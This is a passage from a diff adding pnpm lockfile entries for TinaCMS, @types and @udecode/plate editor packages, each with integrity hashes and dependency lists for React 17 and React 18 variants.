^0.32.0 + dependencies: + picomatch-browser: 2.2.6 + react: 17.0.2 + url-pattern: 1.0.3 + yup: 0.32.11 + zod: 3.22.4 + dev: false + + /@tinacms/schema-tools@1.4.15(react@18.2.0)(yup@0.32.11): + resolution: {integrity: sha512-fVeYpxKTRdf7mc4+BDj0HmEQ2Pi+iapXFj0QIdlIvj5TmHsQELt8rTkpiwbUELj07Un5iD/+dYIrwZWbIrPoBw==} + peerDependencies: + react: '>=16.14.0' + yup: ^0.32.0 + dependencies: + picomatch-browser: 2.2.6 + react: 18.2.0 + url-pattern: 1.0.3 + yup: 0.32.11 + zod: 3.22.4 + dev: false + + /@tinacms/search@1.0.17(encoding@0.1.13)(react@17.0.2)(yup@0.32.11): + resolution: {integrity: sha512-AIrli3YhMAgxFQ80LyiIKahdMrHwX0J1I+/u/hOl+uRti+Vvj6LRLnY8cSz/0FcswEoypPSjo58EPlrlK0sOVg==} + dependencies: + '@tinacms/graphql': 1.4.32(react@17.0.2) + '@tinacms/schema-tools': 1.4.15(react@17.0.2)(yup@0.32.11) + abstract-level: 1.0.3 + memory-level: 1.0.0 + module-error: 1.0.2 + node-fetch: 2.7.0(encoding@0.1.13) + search-index: 4.0.0(abstract-level@1.0.3) + sqlite-level: 1.0.1 + stopword: 2.0.8 + transitivePeerDependencies: + - encoding + - react + - supports-color + - yup + dev: false + + /@tinacms/search@1.0.17(encoding@0.1.13)(react@18.2.0)(yup@0.32.11): + resolution: {integrity: sha512-AIrli3YhMAgxFQ80LyiIKahdMrHwX0J1I+/u/hOl+uRti+Vvj6LRLnY8cSz/0FcswEoypPSjo58EPlrlK0sOVg==} + dependencies: + '@tinacms/graphql': 1.4.32(react@18.2.0) + '@tinacms/schema-tools': 1.4.15(react@18.2.0)(yup@0.32.11) + abstract-level: 1.0.3 + memory-level: 1.0.0 + module-error: 1.0.2 + node-fetch: 2.7.0(encoding@0.1.13) + search-index: 4.0.0(abstract-level@1.0.3) + sqlite-level: 1.0.1 + stopword: 2.0.8 + transitivePeerDependencies: + - encoding + - react + - supports-color + - yup + dev: false + + /@tinacms/sharedctx@1.0.2(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-YApW5GZDauOGRw+edUk7XE8xq84qZbeiT9MsylhlLfDo3oPWvJVtPUHjbXQo45pSyHHEAIfDF0AcNANp193cXw==} + peerDependencies: + react: '>=16.14' + react-dom: '>=16.14' + dependencies: + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + dev: false + + /@tinacms/sharedctx@1.0.2(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-YApW5GZDauOGRw+edUk7XE8xq84qZbeiT9MsylhlLfDo3oPWvJVtPUHjbXQo45pSyHHEAIfDF0AcNANp193cXw==} + peerDependencies: + react: '>=16.14' + react-dom: '>=16.14' + dependencies: + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@types/acorn@4.0.6: + resolution: {integrity: sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /@types/codemirror@0.0.90: + resolution: {integrity: sha512-8Z9+tSg27NPRGubbUPUCrt5DDG/OWzLph5BvcDykwR5D7RyZh5mhHG0uS1ePKV1YFCA+/cwc4Ey2AJAEFfV3IA==} + dependencies: + '@types/tern': 0.23.9 + dev: false + + /@types/codemirror@5.60.15: + resolution: {integrity: sha512-dTOvwEQ+ouKJ/rE9LT1Ue2hmP6H1mZv5+CCnNWu2qtiOe2LQa9lCprEY20HxiDmV/Bxh+dXjywmy5aKvoGjULA==} + dependencies: + '@types/tern': 0.23.9 + dev: false + + /@types/debug@4.1.12: + resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} + dependencies: + '@types/ms': 0.7.34 + dev: false + + /@types/estree-jsx@1.0.3: + resolution: {integrity: sha512-pvQ+TKeRHeiUGRhvYwRrQ/ISnohKkSJR14fT2yqyZ4e9K5vqc7hrtY2Y1Dw0ZwAzQ6DQsxsaCUuSIIi8v0Cq6w==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /@types/estree@1.0.5: + resolution: {integrity: sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==} + dev: false + + /@types/hast@2.3.8: + resolution: {integrity: sha512-aMIqAlFd2wTIDZuvLbhUT+TGvMxrNC8ECUIVtH6xxy0sQLs3iu6NO8Kp/VT5je7i5ufnebXzdV1dNDMnvaH6IQ==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /@types/hoist-non-react-statics@3.3.5: + resolution: {integrity: sha512-SbcrWzkKBw2cdwRTwQAswfpB9g9LJWfjtUeW/jvNwbhC8cpmmNYVePa+ncbUe0rGTQ7G3Ff6mYUN2VMfLVr+Sg==} + dependencies: + '@types/react': 18.2.7 + hoist-non-react-statics: 3.3.2 + dev: false + + /@types/is-hotkey@0.1.10: + resolution: {integrity: sha512-RvC8KMw5BCac1NvRRyaHgMMEtBaZ6wh0pyPTBu7izn4Sj/AX9Y4aXU5c7rX8PnM/knsuUpC1IeoBkANtxBypsQ==} + dev: false + + /@types/lodash@4.14.202: + resolution: {integrity: sha512-OvlIYQK9tNneDlS0VN54LLd5uiPCBOp7gS5Z0f1mjoJYBrtStzgmJBxONW3U6OZqdtNzZPmn9BS/7WI7BFFcFQ==} + dev: false + + /@types/mdast@3.0.15: + resolution: {integrity: sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /@types/ms@0.7.34: + resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==} + dev: false + + /@types/node@20.10.3: + resolution: {integrity: sha512-XJavIpZqiXID5Yxnxv3RUDKTN5b81ddNC3ecsA0SoFXz/QU8OGBwZGMomiq0zw+uuqbL/krztv/DINAQ/EV4gg==} + dependencies: + undici-types: 5.26.5 + + /@types/parse-json@4.0.2: + resolution: {integrity: sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==} + dev: false + + /@types/prismjs@1.26.3: + resolution: {integrity: sha512-A0D0aTXvjlqJ5ZILMz3rNfDBOx9hHxLZYv2by47Sm/pqW35zzjusrZTryatjN/Rf8Us2gZrJD+KeHbUSTux1Cw==} + dev: false + + /@types/prop-types@15.7.11: + resolution: {integrity: sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==} + + /@types/react-dom@18.2.4: + resolution: {integrity: sha512-G2mHoTMTL4yoydITgOGwWdWMVd8sNgyEP85xVmMKAPUBwQWm9wBPQUmvbeF4V3WBY1P7mmL4BkjQ0SqUpf1snw==} + dependencies: + '@types/react': 18.2.7 + + /@types/react-redux@7.1.32: + resolution: {integrity: sha512-YJYV0M27cyHHJIacaRsZRx5OETzK8KWjEGnix7UH3ngItYo4It0MUBzU6WNwqnwhbrPw5wx9KXluuoTZ85Gg7A==} + dependencies: + '@types/hoist-non-react-statics': 3.3.5 + '@types/react': 18.2.7 + hoist-non-react-statics: 3.3.2 + redux: 4.2.1 + dev: false + + /@types/react@18.2.7: + resolution: {integrity: sha512-ojrXpSH2XFCmHm7Jy3q44nXDyN54+EYKP2lBhJ2bqfyPj6cIUW/FZW/Csdia34NQgq7KYcAlHi5184m4X88+yw==} + dependencies: + '@types/prop-types': 15.7.11 + '@types/scheduler': 0.16.8 + csstype: 3.1.2 + + /@types/scheduler@0.16.8: + resolution: {integrity: sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==} + + /@types/tern@0.23.9: + resolution: {integrity: sha512-ypzHFE/wBzh+BlH6rrBgS5I/Z7RD21pGhZ2rltb/+ZrVM1awdZwjx7hE5XfuYgHWk9uvV5HLZN3SloevCAp3Bw==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /@types/unist@2.0.10: + resolution: {integrity: sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==} + dev: false + + /@udecode/plate-alignment@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-gbcMYwxsLQryXiSvWNgW9VEOndPz9YJ0bgr641jZLQ66uMHADzb2tV585arefKqLifYnxLmXXGijCR3x42jJew==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-alignment@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-gbcMYwxsLQryXiSvWNgW9VEOndPz9YJ0bgr641jZLQ66uMHADzb2tV585arefKqLifYnxLmXXGijCR3x42jJew==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-autoformat@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ekwohyLREz53unJvPCwKUW8gte+QNXWu70BWCZDIbRtVMe8Fbtji2Wzuw/4Dm2/Wh5rE1K6TgA03uwGPsbro7w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-autoformat@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ekwohyLREz53unJvPCwKUW8gte+QNXWu70BWCZDIbRtVMe8Fbtji2Wzuw/4Dm2/Wh5rE1K6TgA03uwGPsbro7w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-basic-elements@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-tB+MSDArmpKr+/EBlNpjIj5Tv9Fj3zB1ICxLVGieJ5BVXo8Qu8JYWbKI8juV1W7muf+HltC+N2hIedojA+r2Kg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-basic-elements@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-tB+MSDArmpKr+/EBlNpjIj5Tv9Fj3zB1ICxLVGieJ5BVXo8Qu8JYWbKI8juV1W7muf+HltC+N2hIedojA+r2Kg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-block-quote': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-code-block': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-heading': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/plate-paragraph': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-basic-marks@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-15zTwE4+pu3duVnnb7DKCUeiKlEfdSzCMspViP3I5fPRFQFnWZVGPoN1tQskb1oxvzBGddlpz/6GCSeBW2JN6Q==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-basic-marks@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-15zTwE4+pu3duVnnb7DKCUeiKlEfdSzCMspViP3I5fPRFQFnWZVGPoN1tQskb1oxvzBGddlpz/6GCSeBW2JN6Q==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-block-quote@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-JNksR8F6yw7qgzGBZtolMWaFbseYcLKNo3z8AEBkcUCt95VSbBQP7P24/6aFoMkaAH1eD7DNRCegic9Kanru/w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-block-quote@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-JNksR8F6yw7qgzGBZtolMWaFbseYcLKNo3z8AEBkcUCt95VSbBQP7P24/6aFoMkaAH1eD7DNRCegic9Kanru/w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-break@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-MotPRnMOthyHgX+sOWVhY9z/FnivkvWOhb/MM+xgK/B5PMFgz9GlHSlJIjyTOm3HzIhfo968shOYW8Z+9PAo5g==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-break@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-MotPRnMOthyHgX+sOWVhY9z/FnivkvWOhb/MM+xgK/B5PMFgz9GlHSlJIjyTOm3HzIhfo968shOYW8Z+9PAo5g==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-button@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-lH8MjPFtWdOPUUVFUgvKIu9VR7bNo6SQhoBfAaGQPhPARqBQ+IrPlKAA2mC8IZr3ECFtuPDjg2uqGQoUTAedZQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-button@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-lH8MjPFtWdOPUUVFUgvKIu9VR7bNo6SQhoBfAaGQPhPARqBQ+IrPlKAA2mC8IZr3ECFtuPDjg2uqGQoUTAedZQ==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-code-block@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-ZaioZnfBmFMFZWzulMGfoDLb3l9nOIcfbfleGNDBjTRiqorbzGuz1K9MKWTjPZacS+Zt035ncC/bouMXnppP1w==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + prismjs: 1.29.0 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - 